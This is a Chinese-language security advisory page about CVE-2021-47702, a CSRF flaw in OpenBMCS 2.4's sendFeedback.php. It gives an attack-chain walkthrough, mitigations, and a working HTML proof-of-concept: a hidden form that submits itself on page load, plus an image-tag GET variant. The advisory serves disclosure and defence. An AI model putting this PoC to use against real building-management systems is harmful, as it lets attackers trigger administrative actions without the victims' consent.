IPBUF安全漏洞报告
English
CVE-2021-47702 CVSS 4.3 中危

CVE-2021-47702 OpenBMCS 2.4 CSRF跨站请求伪造漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47702
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenBMCS 2.4

相关标签

CSRF跨站请求伪造OpenBMCSCVE-2021-47702Web应用安全建筑管理系统会话劫持安全漏洞

漏洞概述

CVE-2021-47702是OpenBMCS 2.4版本中的一个中等严重性跨站请求伪造(CSRF)漏洞。OpenBMCS是一个开源的建筑管理控制系统,广泛应用于楼宇自动化和设施管理领域。该漏洞存在于sendFeedback.php端点,由于应用程序未能正确验证请求的来源和有效性,攻击者可以诱导已登录的管理员用户执行未经授权的操作。攻击者通过构造恶意链接或网页,诱使管理员访问,从而在不知情的情况下触发具有管理权限的操作,例如发送反馈邮件、修改系统配置或执行其他管理功能。由于该漏洞利用无需攻击者进行身份认证(PR:N),且需要一定的用户交互(UI:R),但攻击成功后可对系统完整性造成低至中等程度的影响,因此CVSS评分被评定为4.3分(中等)。此漏洞的披露时间为2025年12月9日,由VulnCheck安全团队发现并报告。鉴于OpenBMCS在关键基础设施中的广泛应用,建议相关用户尽快采取防护措施,避免遭受潜在的安全威胁。

技术细节

该CSRF漏洞源于OpenBMCS 2.4的sendFeedback.php端点缺乏有效的请求来源验证机制。在正常的Web应用程序中,CSRF防护通常依赖以下几种方式:验证HTTP Referer头、使用自定义Token或确认用户意图。然而,OpenBMCS的sendFeedback.php端点并未实施这些防护措施中的任何一种。攻击者可以构造一个恶意HTML页面或链接,当已登录的管理员用户访问该页面时,浏览器会自动向sendFeedback.php端点发送携带有效会话Cookie的请求。由于浏览器在发送跨域请求时会自动携带目标域的Cookie,服务器无法区分这是用户主动发起的合法请求还是攻击者诱导的恶意请求。攻击者可利用此漏洞执行的操作包括但不限于:发送带有恶意内容的反馈邮件、修改系统设置、触发管理功能等。攻击成功的关键条件是目标用户必须处于已登录状态且访问攻击者构造的恶意内容。由于CVSS向量显示攻击复杂度为低(AC:L),且无需特殊权限(PR:N),因此该漏洞的利用门槛相对较低。防御此类漏洞需要在服务端实现CSRF Token验证或SameSite Cookie属性设置。

攻击链分析

STEP 1
步骤1
攻击者侦察阶段:攻击者首先识别目标系统中运行的OpenBMCS版本,确认其为2.4版本,并定位存在CSRF漏洞的sendFeedback.php端点
STEP 2
步骤2
构造恶意载荷:攻击者根据漏洞特征,构造包含恶意请求参数的HTML页面或链接,载荷内容针对sendFeedback.php端点的预期输入格式
STEP 3
步骤3
社会工程攻击:攻击者通过钓鱼邮件、恶意网页、即时消息或其他社会工程手段,诱导已登录的OpenBMCS管理员用户访问或点击攻击者构造的恶意内容
STEP 4
步骤4
自动请求执行:当管理员的浏览器加载恶意内容后,自动向目标OpenBMCS服务器的sendFeedback.php端点发送HTTP请求,由于浏览器自动携带有效会话Cookie,服务器将此请求视为合法用户操作
STEP 5
步骤5
攻击成功执行:服务器处理攻击者构造的恶意请求,在管理员不知情的情况下执行发送反馈邮件、修改系统设置等管理操作
STEP 6
步骤6
持久化或后续攻击:根据攻击目标,攻击者可能利用漏洞执行的操作包括发送钓鱼邮件、窃取敏感信息或为进一步入侵建立立足点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2021-47702 - OpenBMCS 2.4 sendFeedback.php --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2021-47702</title> </head> <body> <h1>CSRF PoC for OpenBMCS 2.4</h1> <p>This PoC demonstrates the CSRF vulnerability in sendFeedback.php</p> <!-- Auto-submit form to trigger malicious feedback submission --> <form id="csrfForm" action="http://target-openbmcs/sendFeedback.php" method="POST" style="display:none;"> <input type="hidden" name="feedback_subject" value="System Alert"> <input type="hidden" name="feedback_message" value="Malicious feedback content injected by attacker"> <input type="hidden" name="feedback_email" value="[email protected]"> <input type="hidden" name="submit" value="Submit"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the attack may have failed.</p> </body> </html> <!-- Alternative: Image tag-based GET request (if endpoint supports GET) --> <!-- <img src="http://target-openbmcs/sendFeedback.php?subject=Malicious&message=CSRF" width="0" height="0"> -->

影响范围

OpenBMCS 2.4

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 对sendFeedback.php端点实施IP访问控制,限制为仅允许可信IP访问;2) 在Web应用防火墙(WAF)中配置规则,检测和阻止异常的feedback提交请求;3) 提醒管理员不要点击来自不可信来源的链接;4) 监控服务器日志,密切关注异常的feedback提交行为;5) 考虑暂时禁用sendFeedback功能,待官方修复后再启用;6) 实施严格的会话管理策略,缩短会话超时时间,降低攻击窗口期。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表